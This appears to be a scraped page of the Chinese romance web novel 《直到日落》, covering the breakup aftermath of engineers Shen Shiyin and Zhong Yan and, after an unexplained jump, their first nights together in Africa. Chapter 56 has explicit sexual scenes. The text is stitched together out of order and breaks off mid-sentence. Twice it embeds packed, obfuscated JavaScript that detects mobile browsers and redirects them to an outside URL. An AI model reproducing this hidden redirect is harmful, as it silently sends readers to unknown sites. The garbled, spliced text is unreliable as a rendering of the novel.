沈时因默认谈话已经结束,此事也算揭过,她有点累地闭上眼睛。 手里突然传来一声震动,沈时因还以为是梁冉,可点开一看,屏幕上出现了来自钟琂的一大段话: 【我没有高高在上,也从来不觉得不同的国家和人文之间有什么高低之分,它们只是不同而已。正是因为心里没鬼,所以我才能毫无负担地说出来。过去两年我可能有很多做得不对的地方,也希望能向你道歉。可我从来没有看轻过你,更没有不珍视这段感情。直到今天我还是能够非常确定地说出,与你在一起的两年是我人生中最美好快乐的时光。】 钟琂是坐在车里打下这些话的。他不想在情绪不稳定的情况下开车,然而已经过去一个小时的他也不确定自己什么时候才能稳定下来。 钟琂还在不断地回想那些话,他完全有理由相信那都是沈时因向梁冉抱怨过的,她们是发小,本就无话不谈。 他原本以为如果两个人注定要黯然收场,那么至少回忆是美好的,过程也是快乐的,他没想到原来这段关系早就在沈时因那里变得千疮百孔。她是忍无可忍才提出分手的,可那些忍耐和退让的过程,钟琂根本无从得知。 一切仿佛都回到了原点,就像在内罗毕机场那天,钟琂也是这样翻来覆去地点开手机,结果也和那天一样,沈时因没有再回复他。 窗外的天已经黑透了,当这片天空再次亮起来的时候,他就要坐上前往另一批大陆的飞机。只是这一次,降落的地方不会再有沈时因。 钟琂想到最后,索性给曹应全打了个电话,让他过来一趟,把自己送回家。下车之前,钟琂说:“把车开回去吧,这本来就是公司的车。这样也算是有始有终了。” < 18. 第 18 章 《直到日落》全本免费阅读 钟琂的出现就像一个小插曲,伴随着他的离开,沈时因的生活正式步入正轨。 雨季彻底到来,连绵的雨水淅淅沥沥,下了半个月也不见停。倾盆大雨每天不断地冲刷着这座城市和城市里的每一个人。 非洲的最后一笔补贴到账得很是时候,收到进账通知的沈时因正挤在沙丁鱼罐头一般的地铁车厢里,身边人都拿着湿漉漉的雨伞,她的衣摆被水浸湿,正无奈地等着被空调冷气吹干。 沈时因很雷厉风行地在当晚就约了梁冉一起去看车,她的目标很明确,在合适的价位里,只要有现车,哪个大就要哪个。 沈时因平生第一次体会了一把什么叫挥金如土,二十多万就这么花出去了,肉痛是必然的。但沈时因的心脏也在跟着狂跳:“以后放假我就能带着外婆去山上转转,她最喜欢去看那些花啊草啊的,到时候把电动轮椅往后备箱一放,不怕走不动路。” 梁冉也替沈时因高兴:“你以后上下班也不用挤地铁了,多好。” 提车手续很繁复,销售去填保险资料,沈时因和梁冉被安排到4s店的餐厅等待,顺便解决晚餐。 吃到一半,梁冉思来想去,还是决定给沈时因道个歉,“上次的事挺过意不去的。郑意成这个人好莫名其妙,活脱脱一个你俩的cp粉头子。你说他这人是不是有毛病,当事人都走出来了,他一个人八竿子打不着的人还活在过去。” 沈时因笑起来,“他在最意气风发的年纪断了一只手,这种经历本来就不是普通人能体会的。喜欢缅怀过去、害怕改变这都是正常的。你不要怪他。” 钟琂既已离开,这意味着他和沈时因算是彻底没戏了。梁冉神秘兮兮地凑过来,“那你和郑牧发展得怎么样了?” 这个问题倒像是把沈时因给问住了,她思索良久才说:“郑牧很好,也很合适。” 对,合适。用这个词来形容郑牧再恰当不过,他是医生,本地人,性格开朗有上进心,无不良嗜好,不论从哪个角度来看都是一个挑不出错的恋爱对象。就连沈时因自己也想不出什么拒绝的理由。 从理性的角度出发,沈时因很乐意与郑牧展开一段健康良好的稳定关系。她已经连续两周都在周末与郑牧见面。不止是吃饭那么简单,是很正式的约会,郑牧会送花给她,也会提前订好有爵士乐队和江边夜景的餐厅。 但在第二次,沈时因中途溜出去,以去洗手间为由悄悄买了单。一人请一次客,看上去很公平,但顿时少了些旖旎色彩。郑牧当晚表现得很受挫,可他依旧礼貌周全地送沈时因回了家,也没有提出要上楼坐坐这类能让两人关系更近一步的请求。 沈时因反而在这个阶段开始频频打开当初在非洲的工作群组。钟琂离开的前一晚,沈时因看见他发来的一大段话很难说没有触动,但她觉得停在这里刚好,再纠缠下去就不好看了。 她算好时间,在两天后打开群消息,看见张工发了一张机场照片,语气激动:【接到人了!】 再后来,张工时不时会发一些日常,不是被蚊虫袭击了就是洪水要来了,沈时因只默默地看,还上网关注过洪水的后续,但从来没回复过。 沈时因放下筷子,忽然话锋一转,叹息着说:“可能是一旦见过了尼亚加拉瀑布,家门口的小溪就很难入眼了。” “什么?”梁冉没听清。 沈时因一本正经地做起科普:“尼亚加拉瀑布,是世界第一大瀑布。” 梁冉过了几秒才反应过来她是在拿瀑布跟钟琂做类比,她哭笑不得:“你一天到晚哪来这么多奇奇怪怪的比喻?” 沈时因自己也想不通,她究竟还要拿多少奇山异水来比喻钟琂。 办完所有手续,沈时因隔天下午就能提车。她和梁冉一样,都是在高中毕业那年暑假考的驾照,许多年没在国内开过车,梁冉执意要跟过来,特地坐在副驾驶压阵。 沈时因开得还算顺手,除了一开始有点紧张之外,很快就熟悉了操作。汇入主城区的车流之后,她还能游刃有余地变道转向。 梁冉赞许道:“看来你已经出师了。” 这周周末,沈时因拒绝了郑牧的邀约。她要练车,但更重要的是管廊项目已经进入了关键期,她随时都需要待命。 汛期,对于每一个工程人来说都是巨大的挑战。工人不好作业、土层会被雨水冲刷、调配好的混凝土一点多余的水也不能沾。沈时因开始天天盯现场,车里长期放着一双雨靴,上面沾满了泥泞。 防汛措施做了一道又一道,新城区也终于做好了回填。老城区的地底一挖开,沈时因看着那些年久失修的管道,即使早有心理准备,也忍不住犯起了头疼。 全部拆掉换新当然是最好的选择,但老城区的居民根本受不起长时间的停水停电和停燃气。与城建那边商议的结果是先做修补,沈时因埋头苦算了十来天,和项目同事们一起开了无数次会、改了几十版图纸才终于定下来方案。 在夏天快要过去的这个节点,项目的基础结构在万众瞩目之下完工。做严密性实验的那天,就连电视台也派了记者来做采访。 刘周平赶在完工前夕恢复腿脚,他红光满面地站在摄像机前,面对记者的提问,洋洋洒洒地讲述着这个项目有多难操作、大家又是多么齐心协力地创造了奇迹云云。 不少人都是第一次上镜,难免紧张。赵云萱整了整衣服下摆,慌里慌张地说:“马上就该拍我们了,刚才导播说让我们自然点,摆出讨论工作的样子。那到底是装装样子还是要真的讨论啊?” 沈时因算是在场最镇定的人了,她说:“应该不用讨论得太具体,摄像机都是拍远景,不会真的收音。只要表情认真,就是讨论晚上吃什么也没关系。” 现场本来就忙,没有人会专门过来解答疑问,沈时因的话让很多人都放松下来。赵云萱好奇地问:“你以前在非洲是不是上过电视?” “不算上电视,就是有国内的团队过来拍纪录片。” 说话间,扛着摄影机的工作人员已经步伐专业地移动了过来,众人赶紧摆出一副指点江山的模样。画面最后,沈时因和同事们一起看向新建成的项目,难免都涌起一股发自内心的自豪和与有荣焉。 最后是凌副总代表公司致辞,沈时因和参与项目的其他人都零零散散地站在下方等候。 一大堆记者正围在前方拍照,凌副总讲得唾沫横飞,说完三点还有三点,沈时因觉得这场面像极了毕业典礼上的校长发言。她悄悄问赵云萱:“其实我早就觉得奇怪,公司怎么只有副总,没有正总?” 赵云萱一个编外人员比沈时因还了解,她低声解释道:“因为上一个总经理太厉害了,上任十年干了别人二十年都不一定能做到的业绩。所以退休之后没人敢接这个烫手山芋。” “什么叫没人敢接,是根本没人能胜任好吗。”项目一结束,刘周平也不再像平时那样总是苦大仇深。他主动接话道:“不过啊,我给你们透个底,传说马上要空降一个总经理了。” 这事其实已经在公司里传得沸沸扬扬,也就沈时因这个不关心八卦的人还没得到消息。 赵云萱问:“谁啊?” “不知 19. 第 19 章 《直到日落》全本免费阅读 暗……恋?沈时因还以为赵云萱早就发现了她的钟琂之间的旧情,但原来她只是认为自己在单方面地暗恋钟琂? 沈时因脸上的疑惑和无措在赵云萱看来全是羞愧,她决定打开天窗说亮话:“其实你从在非洲的时候就暗恋他了对吧。” 沈时因没有否认,她忽然觉得没什么好解释的,就这样让赵云萱继续误会下去总比承认实情来得简单。 “他这个人的确很有才华,产生崇拜之情也不奇怪。尤其是那天你掉下基坑,他二话不说就冲下来救人,这实在很难让人不心动。” 赵云萱说:“汪宇甚至还在事后编排过你们的关系,说你们有见不得人的勾当,所以钟琂反应才这么大。” 沈时因还不知道这件事,她咬起牙:“这个汪宇!” 赵云萱:“你放心,事情很快传到凌副总那里,他当场就把汪宇叫过来骂了个狗血淋头。他说钟琂这样的人,哪怕一个不认识的路人落水了他也会奋不顾身地跳下去救,跟对方是谁没关系。汪宇当天就被调走,流言也没有扩散开。” 事情其实已经过去很久,但沈时因还是能够清晰回想起那天钟琂向她狂奔而来的样子。 她也曾经想过这是不是至少能证明钟琂对她是特别的,可凌副总说得没有错,钟琂就是那样的人。 在赵云萱看来,沈时因只怕是陷入了一场苦恋。在非洲时就已经情根深种,被拒绝之后受伤回国,没想到钟琂也因公务被调回,好不容易快要逝去的爱恋又死灰复燃。随着钟琂的再度离去,沈时因只能用工作麻痹自己,每次听见相关的话题都会黯然神伤。 赵云萱年长许多,她自认有必要开解沈时因,最重要的是要给她一个忠告,那就是不要爱上钟琂。 “爱上钟琂那样的人,最后受伤的一定会是你。更别说他还是你的上司,鉴于这层上下级关系,一旦发生点什么,流言蜚语一定会更多地冲着你来。” 最后,赵云萱很温柔地给了沈时因一个拥抱,“抓不住的东西就别去抓了,注定没有结果的事也没必要开始。好在人已经走了,你很快能走出来的。” 虽然一开始是误会,但赵云萱竟然歪打正着地安慰进了沈时因的心里。从分手、回国、入职这一连串的事情里,沈时因一直憋着股劲,她以为只要假装不去在意,久而久之就能真的做到不在意。 那些被刻意掩藏的情绪翻涌出来,让沈时因犯起了一阵鼻酸。她当然知道赵云萱是一番好意,从某种程度上来说,赵云萱几乎能称得上是神算子。即便误会了两人的关系,却在阴差阳错之下“预测”了结局。 她的确受伤了,还留下了无法爱上别人的后遗症。钟琂大可以来去自如,最后只剩她一个人落在中间,不上不下,难受不已。 感受到沈时因轻轻啜泣了几声,赵云萱递过来几张纸巾,小心地擦去她的眼泪,“好了,哭出来就好了。” 沈时因从小到大听过很多次“不许哭”,还是第一次听别人对她说“哭出来”。 不知道是不是心理作用,沈时因觉得心里畅快多了。赵云萱见她平静下来,打开车门说:“走吧,该进去了。” 公司订了家高级会所,吃饭娱乐一条龙。还没走进包厢,沈时因就听见了一阵足以掀翻屋顶的欢腾声,推开门,同事们正在撺掇刘周平和凌副总献唱一首。 旁边就有麦克风,刘周平盛情难却,施施然地走上台点了首老歌,大屏幕的mv一放出来,居然还是男女对唱的情歌。 沈时因坐在人声鼎沸的包房里,和大家一样,笑得眼泪都快出来了。 一曲作罢,凌副总连敬了好几轮酒。最后宣布了一件事:“这个项目完成得相当漂亮,在座的人都有功劳!大家商量商量,是要一起去普吉岛团建,住五星级酒店,还是把旅游资金折现,当成奖金发放?” 根本不用商量,所有人一致表示想要奖金。 凌副总的嫌弃之色都快溢出来了,“我还以为你们团队多有凝聚力呢,结果怎么还是不愿意跟同事一起出去旅游!” * 吃完饭,服务员走进来将灯光调暗,彻底变成娱乐模式。 沈时因坐到角落,她没有参与唱歌或是玩骰子喝酒的游戏,而是打开手机搜索栏,试着检索那粧七八年前的直播事故。 当时的事果然闹得很大,只要输入几个关键词,相关推文很快显示了出来,几个主人公的照片也都还挂在网上。沈时因点开其中一条推文,一字一句地研读起来。 桃色新闻,用词总是大差不差。讲述完大致情况之后,撰稿人用了大量篇幅来描写两个女人,对年纪家世学历的调查、对外貌的点评对比、两个女人之间的交锋等等。与之相对的是那个男人只有一个模糊不清的侧脸,除了姓李之外没有太多具体信息。 巧的是出轨对象也姓李,于是最下方的评论区只好用女李工和男李工来区分两个当事人。沈时因划动屏幕,只见清一色都是对“女李工”的讨伐,即便已经过去了很多年,对她的谩骂依旧没有停止。 沈时因退出网页,在搜索栏里输入女李工的名字,发现她已经跟原配离了婚,也从这个行业消失。 沈时因蹙起眉。岩土工程师可不好考,要不是在这个圈子里的名声烂透了,想必没人愿意转行去一个新的领域从头开始。 身边很吵,沈时因脑子嗡嗡的,即便是坐得很近的人在讲话,传进她耳朵里也变得很远。沈时因能模糊听见好多人都在问凌副总新总经理的事,凌副总端着酒杯,乐得卖起关子—— 一会儿说新总经理绝对不是老古董,不会搞官僚主义那一套。一会儿又说新总经理的脾气不太好,要求也高,让大家不要掉以轻心。 同事们的心情跟坐过山车似的,起哄着让他说名字,还有人调出了近几年业界评选出的世界范围内成就最高的建筑师,根据提示信息一个个做着排除。 沈时因依旧兴趣寥寥,她坐在沙发一角,满脑子还是那两个李工。 除去各有家室这一点,这两人的结合与沈时因和钟琂之间可谓是如出一辙。 无非是非洲的自然风光给这段感情增添了一些浪漫色彩,还有些背井离乡的孤独感需要排解。那些她曾经以为非他不可的、炙热的浓烈的爱意掰开了看实在没有什么大不了,落在别人口中不仅是个笑话,甚至还可能带着鄙夷。 就像妄图水中捞月的猴子那样,费劲力气追逐的也不过只是幻象。这场感情开始得并不体面,结束得更加落入俗套,在观众眼里是露水情缘,在赵云萱眼里是出于崇拜,不管哪一种,都无法称之为刻骨铭心。 可是沈时因不禁自问,她真的是出于崇拜或是孤苦才爱上钟琂的吗? 非洲的生活的确清苦孤寂,即便身边全是熟悉的黄皮肤中国话,但就是不一样了,具体哪里不一样,沈时因也说不出来。 她每晚都给梁冉打电话,非洲比国内的时间要早五个小时,梁冉常常与她聊着聊着就开始眼皮打架: “你们那里没有别的同龄女孩吗,有空可以一起出去逛逛啊,就像大学宿舍那样,实在不行一起窝在房间追剧也行。”梁冉忍不住打了一个哈欠。 沈时因说:“是有女孩,但大多都是夫妻档,两个人一起出来的。男方是技术员,女方是资料员或者预算员,很少有单枪匹马来非洲的。” 所有的外派行业里,属基建最辛苦。所有的外派国家里,又属非洲条件最恶劣。沈时因后知后觉地犯起了怵,她躲在蚊帐里,一下一下地抓挠着早些时候即便穿着长袖也被蚊子咬得红肿的手臂。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12867743|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又被同事叫去帮忙。钟琂在天快黑的时候准时出现在了沈时因面前,他好像总能找到她。 “剩下的事情拿回去做吧。”钟琂说。 “哦。”沈时因窸窸窣窣地收拾起电脑和图纸,她朝外面张望道:“如果哪辆车缺个司机……那我也可以去。” 钟琂没说话,只是静静地看着她,眼神带着些穿透性,仿佛能看破沈时因心里的小算盘。 以前都坐钟琂的车坐得好好的,突然不坐了好像也显得有点刻意。沈时因不想表现得扭扭捏捏,既然没得到回应,那她只好抱着家当往外走。 不幸中的万幸是张士明也要同行,他有事打算和钟琂在路上商量,已经早早地等在了车旁边。 沈时因如蒙大赦,赶紧走过去打开后排车门,上了车就自动装死,努力降低存在感。 张士明是个操心命,不光在行驶途中和钟琂讨论了一路,快到的时候又接到了国内总部的电话,刚挂断电话没多久,远远看见停车场的他又窜起一股无名火,“这个老吴可真行,车停得乱七八糟也不管!” 他在车还没停好的时候就急吼吼地拉开车门走下去,对着小亭子里的人一顿教育。 沈时因沉心静气,等钟琂打了好几轮方向盘,完美停在车位里了才伸手去开车门。 “你打算躲我躲到什么时候?”前排的钟琂忽然问。 他坐在前面一动不动,头也没回,但俨然就是一副质问的态度。 沈时因缩了缩脖子,她怎么就躲了?她倒是想躲,可有哪一次成功了吗? 沈时因觉得挺冤的,她闷声说:“您想多了,我没有……” “我自认没有做任何越矩和压榨你的事,怎么就让你讨厌了?” 沈时因百口莫辩,“这更是误会了。我没有讨厌你,真的没有。” 钟琂还是冷着脸,用上级对下属特有的施压语调发问:“更?” “什么?” “你刚才说的话里,用了一个‘更’字。” 沈时因完全落入了钟琂的圈套,不仅被揪了字眼,他还在继续逼问:“这是不是说明你的确在躲我?” 沈时因没说话。 “我让你不高兴了?” 沈时因化身成复读机,只不断重复着同样的话:“没有,真的没有。”她不知道钟琂这是突然哪根筋不对了,非要与她掰扯。他也不是那种会在意自己在下属心中形象的人啊。 沈时因只想快点走,可四道车门都被落了锁。车内门窗紧闭,车外天色渐黑,张士明早就不知道去哪里操持什么别的事去了,沈时因彻底陷入了孤立无援的被动局面。 在这样节节败退的情况下,沈时因听见钟琂问:“那你下次又准备怎么观察我?” 沈时因脑子里一炸,呼吸也变得急促。原来钟琂知道了,那他又是什么时候,怎么得知的呢……沈时因觉得自己在被人当猴耍,看着她自乱阵脚的样子,他很有可能在沾沾自喜,觉得自己魅力无边,把她当个笑话看。 沈时因竭力维持着这中间的平衡,可钟琂三言两语就能轻易将那些隐秘的、见不得光的心思全掀了出来,让人无所遁形。 在短暂的僵持中,沈时因的心情瞬息万变。她最后还是选择了让步:“我不是有意的,是你突然出现在了目镜里,我不小心就多看了……” 沈时因忽然停下了,因为钟琂原本发沉的脸色有了一丝松动。不对,他根本就不知道,他就是在诈她。 两人的目光在车内后视镜里相触,沈时因是震惊,钟琂则是掩盖不住的笑意,相同的是两人眼中都有恍然大悟。 钟琂没想到自己竟然猜对了。 55.第 55 章 沈时因说不清自己此刻是什么感受,有耻辱有羞愧,但更多的还是愤怒。她没办法不管不顾地发泄出来,说到底还是她道行太浅,着了钟琂的道,什么都还没发生呢,她就被套了话交了底,把一颗心血淋淋地掏出来,被人看了个透彻。 沈时因的胸口剧烈起伏几下,她垂着脸,轻声吐出两个字:“开门。” 凭借对沈时因的了解,钟琂很能分清她是不是真的在生气。他试探得过了火,再要把沈时因逼急了,那可就不是他的初衷了。 钟琂赶紧解开门锁,一刻不停地走下车,跟上头也不回往前走的沈时因。 宿舍楼有电梯,但沈时因没坐,她穿过消防通道的门,一阶一阶往上走。痛诉道:“你为什么要逼我,你凭什么这样羞辱我?你长得好看你自己不知道吗,这么多年来就没别人喜欢过你?我还记得你在山坡上对我说的那些话,是你主动让我了解你,那就是我喜欢的开端,可我只是放在心里,又没想真的跟你发生点什么。你如果觉得受到了冒犯可以辞退我,反正公司只会保你不会保我。我只是想不通你何必要跟我撕破脸,还是说你一向喜欢与下属调情?你到底为什么要一直跟着我?!” 钟琂跟着她停下来,他仰起脸说:“你情绪不太对。” 钟琂看上去很镇定,毫不停歇地爬了六层楼,就连大气也没喘一下。可他越是冷静,就衬托得沈时因越是可笑。 “你放心,我不会想不开跳楼。”沈时因回过身,又开始继续往台阶上迈。 跟在后面的钟琂有些庆幸,还好沈时因住的是7楼。要是她住在十几二十层,那他们今天什么也别想做了,光是走楼梯都能走到筋疲力尽。 七层楼,一共96道台阶,蜿蜒高悬得就像一条朝圣之路。钟琂始终仰望着沈时因,跟随她的步伐。 沈时因回到宿舍,依旧躁动不安地在房间里来回踱步。钟琂跟在后面进来,关上了门。 “你到底想做什么,”沈时因捂住了脸,痛苦难当地问:“你不会真要开除我吧?” 钟琂还在刨根问底,“我只想知道你在想什么。” 事情到了这个份上,已经不会变得更糟了。抱着破罐子破摔的想法,沈时因走过去,踮起脚,飞快地在钟琂唇上亲了一下。 看着猛然变得怔忪的钟琂,沈时因有扳回一城的畅快感。她退后几步抄起手说:“这就是我的想法。” …… 打破这份宁静的是一阵手机震动的嗡嗡声,钟琂过了许久才反应过来是自己的手机在响。他像个木偶一样拿出手机,接通之后动作僵硬地放在耳边。 沈时因始终抱着胳膊冷眼看他,钟琂没怎么说话,只间断回了几个“好”。挂断以后,钟琂说:“我一会儿有个视频会,国内几个教授一起做专家会审。” 话里的意思是有事要走,沈时因听出来了。她巴不得钟琂赶紧走,忙不迭地说:“那你快走吧,别耽误事了。” 钟琂还站着没动,他有些欲言又止地看着沈时因,像是觉得自己应该说点什么,但又不知道从何说起。 最后,钟琂还是什么也没说地转身离开。听见关门的声音,沈时因有些颓然地坐在椅子上,双手撑着脸,心跳依旧狂乱失序。 与钟琂亲吻的的触感还在,虽然只有蜻蜓点水的一下,但现在一静下来,那些缱绻的感觉变得挥之不去。沈时因蓦地感到一阵后怕,她都做了些什么啊,钟琂那种一板一眼的人不会告她职场骚扰吧? 不论怎么想她的行为都很僭越,就算钟琂现在不计较,保不齐哪天就要秋后算账。她是不是应该主动递出辞呈,趁早卷铺盖走人? “啊啊啊——”当初那么坚定地外派来非洲,本以为能干出一番大事业,结果没过几个月就要灰溜溜地回去。钱也没挣着多少,根本无颜面对父老乡亲。 就在沈时因心乱如麻之际,身后突然又传来一道开门声。她赫然回头,看见去而复返的钟琂。 “你怎么回来了……” 钟琂走得又急又快,他关上门说:“会议还有半个小时才开始。” 说完,他往前走了几步,俯身吻了下来。 沈时因还坐在椅子上,她感觉到钟琂那双带着些薄茧的手扣住了自己的脸,他身上那干净清冽的气息彻底包围了过来,让她的大脑陷入一片空白。 钟琂柔软的嘴唇在她唇上辗转片刻,随即试探性地探出一点舌尖,撬开她的牙关。沈时因本来想站起来,可她浑身都软下去了,她想用手借点力,胡乱一抓反而触上了钟琂的腰。 钟琂仿佛得到鼓励,他再度加深了这个本就已经湿润粘腻的吻。 大约过了几分钟,钟琂退出去了一些。房间里很安静,只剩他们两人毫无章法的喘气声。 钟琂半跪在地上,这是一个能与沈时因视线平齐的高度。他凑过去亲了亲她的脸,哑声说:“你先去吃饭,我晚一点再过来找你。” 说完,钟琂站起身走了出去,这次是真的走了。 沈时因一动不动,呆愣当场。刚才发生了什么……钟琂先是杀了个回马枪,然后他们接吻了,再然后钟琂让她去吃饭。 对,吃饭。沈时因幡然醒悟,她还没吃晚饭呢,回到园区之后先是跟钟琂在车里对质,后来又一鼓作气冲上七楼,她早就该饿了。 沈时因缓缓起身,拿起钥匙,每个动作都像被分解过一样。对了,钟琂还说晚一点要过来找她。可晚一点是多晚呢,她是不是应该等他,或者先睡下,给他留个门? 可这样就更奇怪了。现在都八点了,等她出门回来再收拾收拾说不定都九点多了,钟琂深夜造访,难道想留宿……那她是不是应该顺路去超市买双男士拖鞋?话说回来,他到底要找她做什么? “啊啊啊——”事情走向完全超出了沈时因的设想。怎么就发展到这一步了,她现在该怎么办,这简直就是一团乱麻。 不行,不能再坐以待毙,再等下去食堂都该收摊了。沈时因抓起钥匙下楼,来到她经常光顾的店面。 食堂阿姨还是那么热情,远远看见她就说:“今天怎么这么晚,快来,还有你爱吃的虾。” 烟火气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12883899|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和食物的香味将沈时因短暂拉回了现实,她挂上笑脸说:“谢谢阿姨,您今天头发盘得真好看!” 完成任务一般吃完饭,沈时因漫无目的地在园区溜达。夜风将她吹得清醒了不少,路上有只小刺猬在漫步,见了人也不害怕,慢悠悠地钻进了灌木丛里。 沈时因回到宿舍,按照平常的习惯走进浴室洗澡、换上睡衣。等她做完所有入睡前的准备,这下没什么事了,只剩下等。 沈时因正襟危坐,无所事事地干等了一会儿,忽然低下头,发觉这睡裙好像有点短。而且她没穿内衣,虽然不太明显吧,但可能会显得她目的不纯。 沈时因走过去打开衣柜,找出了平时外出穿的衣服,从头到脚穿好,再次回到刚才的位置坐下。 沈时因百无聊赖地望着紧闭的房门,第一次觉得等待原来这么煎熬。她开始思考一些现实问题……这层楼本来是女生宿舍,但由于女生比较少,所以也住进了几个男士,钟琂的出现应该不会太突兀。 另外,宿舍房门都是需要反锁的,她们这些女孩子早就习惯了进出都拿钥匙反拧一圈,沈时因也一样。所以一会儿钟琂来了应该需要敲门,可这样会不会惊动隔壁住户? 沈时因犹豫着要不要去把门锁解了,手机也正好响起,来电显示是钟琂。 沈时因小心地接起电话,听见那头说:“我到了,你开一下门。” 沈时因一直盯着门锁,没察觉到有人在外面转动。钟琂应该是出于尊重,没有再试图自行开门。 沈时因放下手机,走过去转开门锁。外面的钟琂闪身进来,很机敏地顺手带上了门。 房间里又变成只有他们两个人了,经历过先前那一出,再见到钟琂的沈时因觉得很尴尬。她手足无措地站着,心想是不是该去给钟琂倒杯水,或者至少应该先随便说点什么。 但沈时因很快就发现其实并不需要说什么,因为钟琂又吻了下来。 由于没了之前的时间限制,他这次显得更轻柔,也更循序渐进。沈时因环抱住了钟琂的腰,很沉浸地感受来自唇舌之间的交缠。 沈时因已经洗过澡了,钟琂大概也一样。她闻到了淡淡的沐浴乳香味,混杂着钟琂的气息很让人沉醉。 没过多久,沈时因的手抚上了钟琂的脸,一点点地用触感描摹他的面庞,就像那天在全站仪里看见的那样。后来,取代手的地方变成了她的嘴唇,沈时因亲了亲他的眉毛,然后是眼睛,最后又落回于他的唇齿之间。 沈时因牵起钟琂的手,把他带到床的旁边。她掀开蚊帐,拧开床头的小夜灯。 钟琂又看见了那只兔子玩偶,床本来就不大,一个玩偶几乎占据了三分之一的位置。 沈时因在想,小兔子是梁冉送给她的,蚊帐是外婆给她织的。她在这个世界上最爱的两个人共同构成了这处小小的栖身之所,现在她要把另一个她爱的人也带进来了。 钟琂几乎是抱着虔诚的态度来到了蚊帐里面,当那一层层的纱帘落下时,他重新亲吻了上去,这次不止是脸,还有衣服下面的身体。 56.第 56 章 狭小的空间里承载了太多情/欲,真正赤诚相见了,钟琂才发现床其实一点都不小,因为他们要么交/合在一起,要么就是紧密地拥抱,都想要揉进对方身体里的那种。 钟琂拿出了学术精神来探索沈时因,每次舔/舐到一个新的部位,他总要分神看看沈时因的反应,以此作为依据来判断要不要继续下去。沈时因发现聪明人总能在各个方面都无师自通,如果说刚开始还有点笨拙无措的钟琂始终不得要领,那么后来的他很快就能通过一点动作撩拨起沈时因的战栗。可谓是进步神速。 沈时因觉得自己快化成一滩水了,迷迷糊糊之间,她听见钟琂一直在叫她的名字。 沈时因睁开眼睛,用眼神询问他什么意思。 钟琂突然笑了,“没什么,我就想叫叫你。” 他俯身亲吻沈时因的睫毛,含混地说:“你知道吗,这种时候你的眼睛会变得特别漂亮。” 钟琂趴在沈时因身上,她的头顶一下一下撞着床头的铁架,好像有一股股电流从尾椎骨争先恐后地钻出来,再往上直窜到天灵盖,让她发出了舒服的叹喟。 钟琂把一只手放在沈时因头上,替她隔绝碰撞。他极尽温柔地拨开沈时因胸前的头发,在每一次意乱情迷的时候都念沈时因的名字。 后来的事情沈时因也有点记不清了,大概做了两次还是三次,但攀上顶峰的次数绝不仅仅只是这样。她在半梦半醒间感觉到有人在用湿纸巾为她清理泥泞,耳边很久都有水声,钟琂还拿温热的毛巾轻柔地替她擦拭。 沈时因在钟琂的怀里睡了一个很沉的觉,一夜无梦。天刚蒙蒙亮,沈时因依稀听见钟琂走下床打了几个电话,后来还出了趟门,再回来的时候沈时因刚好起床,他提起纸盒说:“我给你买了蛋糕。” 沈时因披了件衣服走到窗前坐下,她刚拿出叉子吃蛋糕,钟琂就钻进了蚊帐把床单重新铺了铺,被子也叠得整整齐齐地放在床尾。 外面的天很阴,可能也跟时间还早有关系。钟琂整理完床铺,走过来说:“你吃完还可以再睡个回笼觉,今天预报有雨。” 他们这一行,尤其是在放线初期,说到底还是要靠天吃饭。土层会被雨水冲刷,水位会涨潮,这个时候哪怕冒雨去做观测,那测出来的数据也是不准的。 沈时因回头看了看整洁如新的被褥,“可我不想破坏你刚铺好的床。” 钟琂笑着说:“没关系的。” “我还得去趟洗衣房。”沈时因看见床头被揉得皱皱巴巴的衣服,暗自懊悔。早知道会被脱下来,那前一天晚上还不如不穿。 窗外被乌云笼罩,云中隐有闷雷翻滚。钟琂坐在旁边看手机信息,沈时因吃得差不多了也放下叉子,她习惯在早上打开电脑查看内网邮件。 张士明布置的任务零零散散,基本都需要去现场实地完成。沈时因合上电脑,在脑子里捋了捋,发现正如钟琂所说,今天的确很适合睡回笼觉。 沈时因本来想问问钟琂,天气预报说没说这场雨要下到什么时候。可她一回头才发现钟琂也忙完了手头的事情,正一瞬不瞬地望着她。 钟琂就这样看着她,什么也没说,沈时因心里却像被人勾了一下。她有所感应地站起身,走过去坐到钟琂腿上。 钟琂随手揽住她的腰,问她:“不吃了?” 桌上还摊着一块蛋糕,剩了好多奶油。沈时因说:“吃不下了。你买的是两人份,怎么光叫我一个人吃?” 钟琂从小就不爱吃甜食,他抗拒地说:“我不喜欢吃这个。那我把剩下的收起来扔了,免得招虫子。” 沈时因说:“你好浪费。” 说是要起来收拾,但钟琂还是坐着没动。紧接着,他看见沈时因把领口的扣子解开,掀开衣襟,用手把一团奶油涂抹上去,一本正经地说:“现在它变成了一道新菜式,红豆奶油包。你想吃吗?” 钟琂眸光一暗,低下头衔起这颗“红豆”,连带旁边的甜腻也一并吞下。最后,所有奶油都被钟琂吃光了,床也还是被弄乱了。 他们刚转移到床上没多久,淅淅沥沥的大雨倾盆而下。有了雷雨声做遮掩,沈时因不管不顾地叫出了声,他们还尝试了新的姿势,互相都获得了最新奇也最舒服的体验。 没什么正事的下雨天最适合白日宣淫,沈时因这一整天都没怎么下床,只有中途被钟琂抱下来吃了点东西。他把现有食材用小锅煮成了一锅大杂烩,勉强能算火锅。外面还在风雨飘摇,屋内的小锅冒着热气,香味也溢满了整个房间。 钟琂洗完手出来正好看见沈时因在用手心拍耳朵,脑袋也歪着。他问:“你耳朵怎么了?” 钟琂的说话声在沈时因听来变得很远,她惊呼道:“糟了,我真的耳鸣了。” 